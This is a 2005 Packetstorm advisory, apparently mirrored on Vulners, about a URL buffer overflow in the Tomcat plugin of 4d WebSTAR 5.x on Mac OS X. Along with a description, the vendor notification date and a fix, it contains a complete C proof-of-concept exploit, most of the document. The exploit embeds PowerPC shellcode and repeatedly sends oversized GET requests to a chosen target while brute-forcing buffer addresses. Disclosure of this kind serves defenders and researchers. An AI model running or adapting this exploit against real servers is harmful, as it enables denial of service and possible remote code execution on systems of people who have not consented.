Lucene search
K

4dWebstar.txt

🗓️ 07 Aug 2005 00:00:00Reported by Braden ThomasType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 15 Views

4d WebSTAR 5.x Mac OS X Buffer Overflow in Tomcat Plugin, Risk: Medium, remote root possible, DoS likel

Code
`4d WebSTAR 5.x Mac OS X Buffer Overflow  
Author: Braden Thomas  
Vendor: http://www.4d.com  
Product: 4d WebSTAR 5.33 and 5.4 Web Server on Mac OS X  
*only trial version tested  
Risk: Medium, remote root (unlikely), DoS (likely)  
PoC Exploit code included  
  
  
Description:  
4d WebSTAR 5.x (5.33 and 5.4 tested) contains a buffer overflow   
in the Web Server Tomcat plugin. The plugin is included and active   
in a default installation of 4d WebSTAR. The overflow exists within   
the URL. This overflow can be used for DoS easily, but because 4d   
WebSTAR restarts the server process when it crashes, the attacker has   
to send a malicious packet about every half second for effective DoS.  
The overflow can also theoretically be used for remote code   
execution, but as far as I can tell, the exploit is very improbable.  
  
Details of the exploit:  
  
The buffer is copied byte-by-byte starting from the beginning of the   
buffer until a NULL (or a couple other terminating) byte is reached.   
However, the pointer that points to the beginning of the buffer   
exists just at the edge of the buffer. Therefore, you will   
immediately overflow this pointer after going over the buffer. Since   
you will overflow this pointer MSB-first, the chance is high (if you   
aren't careful), that you'll direct the pointer into memory that   
either isn't readable, or contains a NULL-pointer, at which point   
your overflow will terminate. My exploit runs in a loop and   
continues ad infinitum if the server doesn't crash.  
  
Although the buffer moves around in memory, the pointer is static in   
reference to the beginning of the buffer. So if you guess the   
average value for the buffer and put it where the pointer will be   
overflowed, you'll get a decent chance of actually successfully   
overflowing a valid pointer that actually points within the buffer   
(or maybe another copy of the buffer in memory). In my code this is   
defined as BUFADDR, or below as readaddr.  
  
Buffer:  
[nops][shellcode][ret addrs][readaddr][more ret addrs]  
  
Once you continue the overflow past the read address pointer, it's   
sort of a mystery where in the buffer you will be reading from.   
Basically about half of the buffer overflowed consists of return   
addresses. If you thought getting the read address right was tough,   
the return address is even harder. You can actually fill the link   
register with this address with a fair accuracy. This address   
*should* return execution back to your buffer to run the shellcode,   
but will often crash with EXC_BAD_INSTRUCTION somewhere else. Note   
that in the example exploit, the shellcode buffer has been set to all   
A's for testing. Once you get the link register filled (which   
happens about 10% of successful overflows), the chance that you   
actually hit the shellcode is quite small. In fact, I've only seen   
it happen once or twice. Good luck. :)  
  
Vendor notified:  
March 31, 2005  
  
Fix:  
Disable Tomcat plugin  
  
  
-Braden  
  
  
Code:  
  
/* 4d buffer overflow  
Braden Thomas  
  
the buffer is copied byte by byte starting from the beginning of   
the buffer  
until a NULL byte is reached (or a couple other types of bytes)  
the buffer is copied from a pointer that resides past the end of   
the buffer  
the buffer can overflow over this pointer, allowing the program   
to read bytes to wherever it wants  
  
-the exploit must restore this pointer or risk reading from null   
memory, terminating overflow  
-the pointer is different each time, though it's location in   
relation to the buffer is static (buffer+1285)  
-the pointer is overwritten byte by byte, meaning that one wrong   
byte, and we're reading from  
somewhere else... which can be potentially bad in terms   
of exploitation  
  
method:  
-exploit attempts to: overwrite the pointer so that the memory   
will continue to be overflowed  
(i.e., do not point into any memory that contains a null byte)  
-exploit attempts to continue overflowing with return addresses,   
to overflow where LR is stored  
-when loop ends and LR is restored, it will return execution   
into the buffer and into shellcode  
-some looping has been added, where BUFADDR is enumerated to try   
to brute force the overflow  
because failed servers are respawned  
  
results:  
actually successful in moving the execution pointer about 10   
to 25% of the time  
unsuccessful in actually jumping to the nops/shellcode :(  
  
problems I don't understand:  
occasionally other threads crash in weird places (memcpy and   
szone_malloc)...  
this might actually be when it works as desired and   
doesn't crash... but other threads do crash  
before shellcode can do its magic!  
(but that's just a hypothesis) :)  
*/  
  
  
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <sys/socket.h>  
#include <sys/wait.h>  
#include <netinet/in.h>  
#include <arpa/inet.h>  
#include <netdb.h>  
#include <unistd.h>  
#include <sys/time.h>  
  
unsigned char shellcode[]= // no 0x00 0x20 0x3f 0x24 0x2f  
"\x7c\x63\x1a\x79\x40\x82\xff\xfd\x7d\xa8\x02\xa6\x38\xc3\xe1\x35"  
"\x39\x80\x01\x18\x39\xad\x1f\xff\x81\xcd\xe1\x39\x81\xed\xe1\x35"  
"\x7d\xef\x72\x78\x91\xed\xe1\x35\x7c\x06\x68\xac\x7c\x01\x04\xac"  
"\x7c\x06\x6f\xac\x4c\x01\x01\x2c\x39\xad\xff\xfc\x39\x8c\xff\xfb"  
"\x7d\x8c\x63\x79\x40\x82\xff\xd8\x3b\xe0\x30\xff\x7f\xe0\x4e\x70"  
"\x44\xff\xff\x02\x7c\x63\x1a\x79\x7c\x63\x1a\x79\x7c\x63\x1a\x79"  
"\x10\x29\x25\xcb\x10\xc9\x25\xc8\x10\xe9\x25\xcf\x10\x49\x25\xa8"  
"\x6c\x49\x25\xcb\x54\x49\x27\xb1\x54\x37\x3e\xb1\x60\x49\x25\xc4"  
"\x28\x4b\x3e\xf0\x28\x49\x25\xc9\x54\xc1\x27\x6f\x10\xe9\x25\xd9"  
"\x10\x49\x25\xa1\x57\x8a\xd6\xb1\x6c\x49\x25\xcb\x54\x49\x27\xb1"  
"\x10\x49\x25\xa3\x57\x8a\xd6\xb1\x6c\x49\x25\xcb\x54\x49\x27\xb1"  
"\x57\x8a\xd6\xb1\x10\x49\x25\xd7\x10\xc9\x25\xd9\xb8\xc8\xda\x21"  
"\x10\xe8\xda\x21\x10\xc8\xda\x39\x6c\x49\x25\xcb\x54\x49\x27\xb1"  
"\x54\x37\x3e\xb1\x10\xe9\x25\xcb\x10\x49\x25\x93\x57\x8a\xd6\xb1"  
"\x54\xed\x0e\xb1\x6c\x49\x25\xcb\x54\x49\x27\xb1\x10\xec\xda\x36"  
"\x04\x4c\xda\x36\x68\xcb\xda\x2c\x10\x49\x25\x8b\x6c\x49\x25\xcb"  
"\x54\x49\x27\xb1\x54\xec\x0f\xb0\x68\xcb\xda\x34\x54\x21\x27\x6f"  
"\x10\x2a\x25\xe1\xb8\x28\xda\x31\xb8\xe8\xda\x35\x10\xc8\xda\x31"  
"\x10\x49\x25\xf2\x54\x49\x21\x65\x6c\x49\x25\xcb\x54\x49\x27\xb1"  
"\x57\xa9\x25\xc1\x07\x2b\x4c\xa7\x07\x2a\x56\xa1\x28\x49\x25\xc9"  
"\x28\x49\x25\xc9";  
  
#define BUFSIZE 1400  
long BUFADDR= 0x284fe04;//0x02850204;  
  
int main(int argc, char *argv[])  
{  
printf("4d WebSTAR buffer overflow\n");  
printf("\tBraden Thomas\n");  
  
if (argc<2)  
{  
printf("4dbo <target>\n");  
return 1;  
}  
  
struct sockaddr_in their_addr;  
their_addr.sin_family = AF_INET;  
their_addr.sin_port = htons(80);  
inet_aton(argv[1], &(their_addr.sin_addr));  
memset(&(their_addr.sin_zero), '\0', 8);  
  
  
int count=0;  
while (1)  
{  
  
char buffer[BUFSIZE];  
  
// [nops][shellcode][ret addrs][readaddr][more ret addrs]  
  
memset(buffer,0x60,sizeof(buffer)); // nops first  
  
int shellcodeLen = sizeof(shellcode)-1;  
memset(shellcode,'A',shellcodeLen); // just   
for testing!  
  
memcpy(buffer+400+5,shellcode,shellcodeLen); // next   
shellcode  
  
  
unsigned long retaddr = BUFADDR + 0x1600; // as if it   
matters... this never works!  
unsigned long *bufPtr = (unsigned long*)(buffer+400   
+shellcodeLen+5); // now for ret addrs  
int bufCnt;  
for (bufCnt=400+shellcodeLen;bufCnt<BUFSIZE;bufCnt+=4)  
{  
memcpy(bufPtr,&retaddr,4);  
bufPtr++;  
}  
  
unsigned long readaddr = BUFADDR; // now ptr read   
address  
// just a   
guess... works pretty well tho  
memcpy(buffer+1285,&readaddr,4);  
  
memcpy(buffer,"GET /",5);  
char httpStr[]=" HTTP/1.1\r\n\r\n";  
memcpy(buffer+BUFSIZE-sizeof(httpStr),httpStr,sizeof(httpStr));  
  
if (!count)  
printf("\nRead addr: 0x%x\nReturn addr: 0x%x   
\n",readaddr,retaddr);  
  
  
int sockfd = socket(AF_INET, SOCK_STREAM, 0);  
if (connect(sockfd, (struct sockaddr *)&their_addr, sizeof   
(struct sockaddr)) == -1)  
{  
printf("connect error\n");  
return 1;  
}  
if (send(sockfd, buffer, sizeof(buffer)-1, 0) == -1)  
{  
printf("send error\n");  
return 1;  
}  
  
struct timeval time;  
fd_set mySet;  
FD_ZERO(&mySet);  
FD_SET(sockfd, &mySet);  
time.tv_sec = 40;  
time.tv_usec = 0;  
if (!select(sockfd+1, &mySet, NULL, NULL, &time))  
{  
printf("\nNo response received.\n");  
break;  
}  
else  
{  
char resBuff[64];  
int readRes = recv(sockfd, resBuff, sizeof(resBuff), 0);  
if (!readRes)  
{  
printf("\nZero length response.\n");  
}  
else if (!(count%21))  
printf("\nResponse length: %d", readRes);  
else  
printf(".");  
  
count++;  
  
if (count>=100)  
{  
count=0;  
BUFADDR+=0x200;  
if (BUFADDR>0x285c000)  
BUFADDR=0x284f204;  
}  
  
}  
  
close(sockfd);  
}  
return 0;  
}  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation